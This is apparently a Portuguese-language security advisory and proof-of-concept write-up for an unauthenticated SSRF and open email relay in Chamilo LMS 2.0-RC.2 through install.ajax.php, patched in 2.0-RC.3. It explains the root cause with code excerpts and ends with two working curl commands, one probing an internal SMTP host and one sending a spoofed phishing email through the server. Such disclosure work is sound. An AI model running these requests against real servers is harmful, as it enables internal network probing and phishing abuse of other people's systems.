
Prova de conceito de exploit para SSRF não autenticado e relay de e-mail aberto no Chamilo LMS através do install.ajax.php, permitindo sondagem da rede interna e envio de e-mails de phishing.
Severidade: Alta (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Autenticação Ausente)
Afetado: chamilo/chamilo-lms 2.0-RC.2
Corrigido em: 2.0-RC.3
Aviso: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Crédito: Romain Deperne
O install.ajax.php no Chamilo LMS 2.0 é acessível sem autenticação em instâncias totalmente instaladas. Sua ação test_mailer aceita um DSN arbitrário do Symfony Mailer e um destino a partir dos dados POST, permitindo que qualquer atacante não autenticado force o servidor a iniciar conexões SMTP para hosts internos arbitrários (SSRF) e envie e-mails através do servidor Chamilo como um relay aberto.
Eu estava auditando o Chamilo LMS após notar que ele havia acumulado vários CVEs, mas não tinha sido profundamente auditado em seus endpoints AJAX. Minha abordagem: listar todos os arquivos em public/main/inc/ajax/ e verificar se cada um começa com require_once __DIR__.'/../global.inc.php' — a inclusão que impõe autenticação em toda a base de código.
O install.ajax.php foi a exceção. Ele inclui apenas o autoloader do Composer. O nome do arquivo já sugeria que era código de instalação remanescente — e um grep por test_mailer dentro dele confirmou que aceita uma string DSN bruta do Symfony Mailer a partir dos dados POST e a passa diretamente para Transport::fromDsn().
Isso é uma primitiva completa de SSRF: um atacante não autenticado controla o protocolo, o host e a porta aos quais o servidor se conecta. O fato de enviar um e-mail real através de qualquer transporte que você configurar o transforma também em um relay aberto. Confirmei com um simples curl que o endpoint era acessível sem nenhum cookie de sessão em uma instância totalmente instalada.
A causa raiz é arquitetural: o arquivo contorna o firewall de segurança do Symfony porque o RewriteCond %{REQUEST_FILENAME} !-f do Apache passa arquivos PHP existentes diretamente para o PHP, nunca atingindo o front controller.
Arquivo: public/main/inc/ajax/install.ajax.php
O arquivo foi projetado para o assistente de instalação, mas permanece acessível após a instalação. Diferentemente de todos os outros endpoints AJAX no mesmo diretório, ele não inclui global.inc.php — significando zero autenticação, zero verificação de autorização:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
A ação test_mailer (linha ~138) aceita parâmetros POST controlados pelo atacante:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Compare com qualquer endpoint devidamente protegido:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
O arquivo é servido diretamente pelo Apache (RewriteCond %{REQUEST_FILENAME} !-f deixa passar arquivos PHP existentes, contornando o firewall de segurança do Symfony). A ausência da inclusão de global.inc.php significa que não há sessão, não há autenticação e não há verificação de conclusão da instalação.
Consulte poc.py para uma demonstração completa.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"